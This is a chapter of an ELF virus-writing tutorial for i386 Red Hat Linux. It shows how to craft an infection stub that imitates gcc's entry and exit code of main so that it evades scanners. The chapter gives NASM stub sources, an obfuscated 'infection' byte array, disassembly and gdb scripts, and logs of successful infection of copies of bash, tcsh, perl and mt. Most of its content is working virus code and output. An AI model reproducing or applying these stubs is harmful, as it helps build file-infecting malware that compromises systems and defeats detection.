The ELF Virus Writing HOWTO: i386-redhat7.3-linux
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# 10. The stub revisited

| A person who is more than casually interested in computers should be well schooled in machine language, since it is a fundamental part of a computer.
| Donald Knuth

The scanners Scan segment padding and Scan entry point Second scan check program layout for deviations. On a typical Linux distribution this yields good results since all programs are compiled and linked with the same set of tools. But there are legitimate reasons for executables to look different. Some rescue tools and non-free executables are linked statically to be independent of the target system. [1]

> asmutils is a set of miscellaneous utilities written in assembly language, targeted on embedded systems and small distributions (e.g. installation or rescue disks); also it contains a small libc and a crypto library. It features the smallest possible size and memory requirements, the fastest speed, and offers fairly good functionality.

The next best approach is to follow the flow of control and verify visited code, starting from the entry point. Again this relies on a certain homogeneity of executables.

1. A very simple check is alignment. We handle that in target_copy_and_infect and and Section 8.6. gcc(1) never starts functions on odd addresses. But neither VIT nor RST seem to care and put the infection after the last byte of the code segment.

2. The improved versions of `patchEntryAddr` in The entry point do a primitive check of the call to `__libc_start_main`. Since we leave the entry point unmodified we pass this test.

3. The next step is to check entry code of functions called by `__libc_start_main`, especially `main`. We are vulnerable to this.

## 10.1. Disassembly

Section 7.5 patches the call of __libc_start_main to invoke our virus code instead of `main`. To stay undetected our code should mimic the real thing. The disassembly of our first program shows everything we need to know. But then that listing was retrieved through heavy cheating.

To disassembly the `main` of a regular executable we extend the exercise of Disassemble it again, Sam. The script performs no kind of error checking. Feeding anything else than executables built by gcc(1) can have strange effects (like no output at all). There is also no limit on output length. In the examples below the `Makefile` building this document used head(1).

Command: pre/i386-redhat7.3-linux/stub_revisited/intel.sh

    #!/bin/sh
    file=${1:-/bin/bash}
    entry_point=$( /usr/bin/od -j24 -An -td4 -N4 ${file} )

    # 134512640 = 0x8048000
    # 24 = offset to address of main in code of _start
    main_point_ofs=$( expr ${entry_point} - 134512640 + 24 )
    main=$( /usr/bin/od -j${main_point_ofs} -An -td4 -N4 ${file} )
    main_ofs=$( expr ${main} - 134512640 )

    ndisasm -e ${main_ofs} -o ${main} -U ${file}

First a simple test. Compare with above mentioned disassembly.

Output: out/i386-redhat7.3-linux/stub_revisited/magic_elf.disasm

    08048400  55                push ebp
    08048401  89E5              mov ebp,esp
    08048403  83EC0C            sub esp,byte +0xc
    08048406  6A03              push byte +0x3
    08048408  6801800408        push dword 0x8048001
    0804840D  6A01              push byte +0x1
    0804840F  E8BCFEFFFF        call 0x80482d0
    08048414  B800000000        mov eax,0x0
    08048419  C9                leave
    0804841A  C3                ret

A look at `tmp/doing_it_in_c/e3/sh_infected`.

Output: out/i386-redhat7.3-linux/stub_revisited/sh_infected.disasm

    080C6420  6840950508        push dword 0x8059540
    080C6425  9C                pushf
    080C6426  60                pusha
    080C6427  E804000000        call 0x80c6430
    080C642C  61                popa
    080C642D  9D                popf
    080C642E  C3                ret
    080C642F  90                nop
    080C6430  55                push ebp
    080C6431  89E5              mov ebp,esp

And this is plain `/bin/bash`.

Output: out/i386-redhat7.3-linux/stub_revisited/sh.disasm

    08059540  55                push ebp
    08059541  89E5              mov ebp,esp
    08059543  57                push edi
    08059544  56                push esi
    08059545  53                push ebx
    08059546  83EC24            sub esp,byte +0x24
    08059549  8B4508            mov eax,[ebp+0x8]
    0805954C  6A01              push byte +0x1
    0805954E  68600B0D08        push dword 0x80d0b60
    08059553  8945E4            mov [ebp-0x1c],eax

The first two instructions, making up three bytes, are constant. They are followed by an optional series of `push` to save special registers. Then comes a `sub esp` to reserve space for local variables. This also seems to be constant. The trivial program in The magic of the Elf does not use local variables and still ends up with a `sub`.

For the exit code of `/bin/bash` we need a better filter.

Command: pre/i386-redhat7.3-linux/stub_revisited/intel_ret.sh

    #!/bin/sh
    ( pre/i386-redhat7.3-linux/stub_revisited/ndisasm.sh "$@" 2>&1 ) \
    | /bin/sed -e '/ret/q' \
    | tail

Output: out/i386-redhat7.3-linux/stub_revisited/sh_ret.disasm

    pre/i386-redhat7.3-linux/stub_revisited/intel_ret.sh: pre/i386-redhat7.3-linux/stub_revisited/ndisasm.sh: No such file or directory

I call this weird. It seems that `0xc` byte are reserved on the stack just to stay unused. And why does one program use `leave` and the other `pop ebp`? A quote from the documentation [2] of `nasm` [3] :

> LEAVE ; C9 [186]

> `LEAVE` destroys a stack frame of the form created by the `ENTER` instruction [4] It is functionally equivalent to `MOV ESP,EBP` followed by `POP EBP`.

I guess that we are safe on that front. It's easy to check the existence of fixed byte values at a certain location (the entry code). But I doubt whether a static scanner could really realize whether a given exit code is just a dummy. Or what instruction a `ret` effectively jumps to.

## 10.2. Stack dump

Let's examine the stack of In the language of mortals just after the `sub` was executed. Note that you don't have to quote character "`$`" in interactive gdb(1) sessions. Instead of "`\$sp`" you type plain "`$sp`" to reference the stack pointer.

Command: pre/i386-redhat7.3-linux/stub_revisited/stack.sh

    #!/bin/sh
    file=${1:-tmp/i386-redhat7.3-linux/magic_elf/magic_elf}
    /usr/bin/gdb ${file} -q <<EOT
    	break main
    	run
    	backtrace
    	printf "esp=%08x ebp=%08x\n", \$esp, \$ebp
    	x/3xw \$sp
    	x/3xw \$sp + 12
    	x/3xw \$sp + 24
    	x/3xw \$sp + 36
    EOT

Output: out/i386-redhat7.3-linux/stub_revisited/stack

    (gdb) Breakpoint 1 at 0x8048406
    (gdb) Starting program: /home/alba/virus-writing-HOWTO/tmp/i386-redhat7.3-linux/magic_elf/magic_elf

    Breakpoint 1, 0x08048406 in main ()
    (gdb) #0  0x08048406 in main ()
    #1  0x4003a0c4 in __libc_start_main () from /lib/libc.so.6
    (gdb) esp=bffff8fc ebp=bffff908
    (gdb) 0xbffff8fc:	0x080483e1	0x08049498	0x08049594
    (gdb) 0xbffff908:	0xbffff948	0x4003a0c4	0x00000001
    (gdb) 0xbffff914:	0xbffff974	0xbffff97c	0x080482ae
    (gdb) 0xbffff920:	0x08048460	0x00000000	0xbffff948
    (gdb)

## 10.3. Another look at the source

The program was stopped at address `0x8048406` in function `main`, which was called from `__libc_start_main`. We already encountered file

Source: src/stub_revisited/__libc_start_main

    # /usr/src/redhat/SOURCES/glibc-2.2.4/sysdeps/generic/libc-start.c

       121	  if (init)
       122	    (*init) ();
       123
       124	#ifdef SHARED
       125	  if (__builtin_expect (_dl_debug_mask & DL_DEBUG_IMPCALLS, 0))
       126	    _dl_debug_printf ("\ntransferring control: %s\n\n", argv[0]);
       127	#endif
       128
       129	  exit ((*main) (argc, argv, __environ));
       130	}

Looks plausible.

## 10.4. A few bytes on the stack

Address | esp | ebp | Contents | Description
--- | --- | --- | --- | ---
The top three values on the stack are just random junk. The instruction just before our break point decremented `esp` by `0xc = 12` to use that space for local variables. They are not initialized yet, though.
`0xbffff8fc` | `esp + 0` | `ebp - 12` | `0x80483e1` | random junk
`0xbffff900` | `esp + 4` | `ebp - 8` | `0x8049498` | random junk
`0xbffff904` | `esp + 8` | `ebp - 4` | `0x8049594` | random junk
Everything further down - including the next two values - must be preserved for the host code.
`0xbffff908` | `esp + 12` | `ebp + 0` | `0xbffff948` | saved ebp
`0xbffff90c` | `esp + 16` | `ebp + 4` | `0x4003a0c4` | return address
The next three values are the arguments of `main`. We declared the function as plain `main()` so gdb(1) does not know about these identifiers.
`0xbffff910` | `esp + 20` | `ebp + 8` | `0x1` | `argc`
`0xbffff914` | `esp + 24` | `ebp + 12` | `0xbffff974` | `argv`
`0xbffff918` | `esp + 28` | `ebp + 16` | `0xbffff97c` | `environ`
The next few values up to 0xbffff948 (saved `ebp`) are local variables of `__libc_start_main`.

The new stub must fulfill a few constraints.

- Both entry code and exit code is fixed.

- The stack below `ebp + 0` must not be modified.

- After executing infectious code it must jump to the original host code.

- Original host code expects the value of `esp` to be `0xbffff90c` and the value of `ebp` to be `0xbffff948` (values are not constant, just given for illustration).

## 10.5. First implementation

If we keep original exit code then we must modify the stack. The simplest approach is to move the original `ebp` one position (4 bytes) down. Original entry code already reserved 12 unused bytes so we don't have to adjust `esp`. In the free space we store the address of host code.

Source: pre/i386-redhat7.3-linux/doing_it_in_c/i2/i386-Linux.S

    		BITS 32

    		push	ebp
    		mov	ebp,esp
    		sub	esp,byte 0xc

    wrapper:	; replace -1 with address of original host code
    		mov	eax,dword -1
    		xchg	eax,[ebp]
    		sub	ebp,byte 4
    		mov	[ebp],eax
    		align 8

    		; dummy instruction to specify offset
    		push    byte wrapper + 1

The following disassembly shows stub and the first function of the C part, called `body`. The stub ends with a few `nop` instructions to align its size. Flow of control just continues from stub to `body`. Since this is a regular C function it also has standard entry code. But this does not matter because standard exit code starts with a `leave`. No matter how much stuff was pushed on the stack between end of stub and exit code of `body`, the `leave` instruction will pop off the moved `ebp`. The following `ret` then jumps to host code.

Output: out/i386-redhat7.3-linux/doing_it_in_c/e3i2.disasm

    08048910  55                push ebp
    08048911  89E5              mov ebp,esp
    08048913  83EC0C            sub esp,byte +0xc
    08048916  B8FFFFFFFF        mov eax,0xffffffff
    0804891B  874500            xchg eax,[ebp+0x0]
    0804891E  83ED04            sub ebp,byte +0x4
    08048921  894500            mov [ebp+0x0],eax
    08048924  90                nop
    08048925  90                nop
    08048926  90                nop
    08048927  90                nop
    08048928  55                push ebp
    08048929  89E5              mov ebp,esp
    0804892B  57                push edi
    0804892C  83EC04            sub esp,byte +0x4
    0804892F  E828000000        call 0x804895c
    08048934  8D90A0890408      lea edx,[eax+0x80489a0]
    0804893A  89D7              mov edi,edx
    0804893C  FC                cld
    0804893D  B9FFFFFFFF        mov ecx,0xffffffff
    08048942  B000              mov al,0x0
    08048944  F2AE              repne scasb
    08048946  F7D1              not ecx
    08048948  49                dec ecx
    08048949  51                push ecx
    0804894A  52                push edx
    0804894B  6A01              push byte +0x1
    0804894D  6A04              push byte +0x4
    0804894F  E818000000        call 0x804896c
    08048954  8B7DFC            mov edi,[ebp-0x4]
    08048957  C9                leave
    08048958  C3                ret

## 10.6. First test

Output: out/i386-redhat7.3-linux/doing_it_in_c/e3i2/cc

    Infecting copy of /bin/tcsh... wrote 176 bytes, Ok
    Infecting copy of /usr/bin/perl... wrote 176 bytes, Ok
    Infecting copy of /bin/mt... wrote 176 bytes, Ok
    Infecting copy of /bin/sh... wrote 176 bytes, Ok
    4 infected, 0 failed

Output: out/i386-redhat7.3-linux/doing_it_in_c/test-e3i2

    ELF is dead baby, ELF is dead.
    tmp/i386-redhat7.3-linux/doing_it_in_c/e3i2/sh_infected
    2.05a.0(1)-release
    ELF is dead baby, ELF is dead.
    usage: mt [-v] [--version] [-h] [ -f device ] command [ count ]
    ELF is dead baby, ELF is dead.
    tcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
    ELF is dead baby, ELF is dead.

    ---
    ELF is dead baby, ELF is dead.
    GNU bash, version 2.05a.0(1)-release (i686-pc-linux-gnu)
    Copyright 2001 Free Software Foundation, Inc.

## 10.7. Second implementation

This is the same idea, only obfuscated by an intermediate `call`. Variations on this topic are endless.

Source: src/doing_it_in_c/i3/i386-Linux.S

    		BITS 32

    		push	ebp
    		mov	ebp,esp
    		sub	esp,byte 0xc
    		call	wrapper
    		leave
    		ret
    		align	4
    wrapper:	; replace -1 with address of original host code
    		mov	eax,dword -1
    		xchg	eax,[ebp]
    		sub	ebp,byte 4
    		mov	[ebp],eax
    		align 8

    		; dummy instruction to specify offset
    		push    byte wrapper + 1

Output = Source: out/i386-redhat7.3-linux/doing_it_in_c/i3/infection.inc

    const unsigned char infection[]
    __attribute__ (( aligned(8), section(".text") )) =
    {
      0x55,                          /* 00000000: push ebp               */
      0x89,0xE5,                     /* 00000001: mov ebp,esp            */
      0x83,0xEC,0x0C,                /* 00000003: sub esp,byte +0xc      */
      0xE8,0x05,0x00,0x00,0x00,      /* 00000006: call 0x10              */
      0xC9,                          /* 0000000B: leave                  */
      0xC3,                          /* 0000000C: ret                    */
      0x90,                          /* 0000000D: nop                    */
      0x90,                          /* 0000000E: nop                    */
      0x90,                          /* 0000000F: nop                    */
      0xB8,0xFF,0xFF,0xFF,0xFF,      /* 00000010: mov eax,0xffffffff     */
      0x87,0x45,0x00,                /* 00000015: xchg eax,[ebp+0x0]     */
      0x83,0xED,0x04,                /* 00000018: sub ebp,byte +0x4      */
      0x89,0x45,0x00,                /* 0000001B: mov [ebp+0x0],eax      */
      0x90,                          /* 0000001E: nop                    */
      0x90                           /* 0000001F: nop                    */
    }; /* 34 bytes (0x22) */
    enum { ENTRY_POINT_OFS = 0x11 };

## 10.8. Second test

Output: out/i386-redhat7.3-linux/doing_it_in_c/e3i3/cc

    Infecting copy of /bin/tcsh... wrote 176 bytes, Ok
    Infecting copy of /usr/bin/perl... wrote 176 bytes, Ok
    Infecting copy of /bin/mt... wrote 176 bytes, Ok
    Infecting copy of /bin/sh... wrote 176 bytes, Ok
    4 infected, 0 failed

Output: out/i386-redhat7.3-linux/doing_it_in_c/test-e3i3

    ELF is dead baby, ELF is dead.
    tmp/i386-redhat7.3-linux/doing_it_in_c/e3i3/sh_infected
    2.05a.0(1)-release
    ELF is dead baby, ELF is dead.
    usage: mt [-v] [--version] [-h] [ -f device ] command [ count ]
    ELF is dead baby, ELF is dead.
    tcsh 6.10.00 (Astron) 2000-11-19 (i386-intel-linux) options 8b,nls,dl,al,kan,rh,color,dspm
    ELF is dead baby, ELF is dead.

    ---
    ELF is dead baby, ELF is dead.
    GNU bash, version 2.05a.0(1)-release (i686-pc-linux-gnu)
    Copyright 2001 Free Software Foundation, Inc.

### Notes

[1] | http://linuxassembly.org/asmutils.html
[2] | http://www.octium.net/oldnasm/docs/nasmdoca.html#section-A.94
[3] | http://sourceforge.net/projects/nasm/
[4] | http://www.octium.net/oldnasm/docs/nasmdoca.html#section-A.27

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